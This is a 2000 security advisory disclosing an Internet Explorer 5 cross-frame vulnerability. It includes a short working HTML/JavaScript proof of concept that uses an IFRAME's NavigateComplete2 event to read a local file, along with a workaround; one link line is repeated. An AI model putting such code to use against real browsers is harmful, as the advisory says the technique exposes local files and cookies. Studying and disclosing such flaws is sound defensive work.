Georgi Guninski security advisory #12, 2000

IE 5 Cross-frame security vulnerability using IFRAME and WebBrowser
control

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Internet Explorer 5.01 under Windows 98 (suppose all other versions are
also vulnerable)
allows circumventing "Cross frame security policy" by accessing the DOM
of documents using JavaScript, IFRAME and WebBrowser control.
This exposes the whole DOM of the target document and opens lots of
security risks.
This allows reading local files, reading files from any host, window
spoofing, getting cookies, etc.

Details:

IFRAME seems to be some kind of wrapper of the WebBrowser control and
its events may be captured.
The problem is the NavigateComplete2 event, which when fired, passes an
argument of WebBrowser control.
The WebBrowser control has an accessible property "document" that allows
access to the DOM of the target document.

Note: this is a similar vulnerability to the one discovered by Andrew
Nosenko (which is already fixed):
http://www.ntsecurity.net/go/loader.asp?iD=/security/ie5-17.htm (could
http://www.ntsecurity.net/go/loader.asp?iD=/security/ie5-17.htm (could
not find a better link)

The code is:
------frame2.html--------------------------------
<IFRAME  ID="I1"></IFRAME>
<SCRIPT for=I1 event="NavigateComplete2(b)">
alert("Here is your file:\n"+b.document.body.innerText);
</SCRIPT>
<SCRIPT>
I1.navigate("file://c:/test.txt");
setTimeout('I1.navigate("file://c:/test.txt")',1000);
</SCRIPT>
---------------------------------------------------

Demonstration is available at: http://www.nat.bg/~joro/frame2.html

Workaround: Disable Active Scripting

Copyright 2000 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro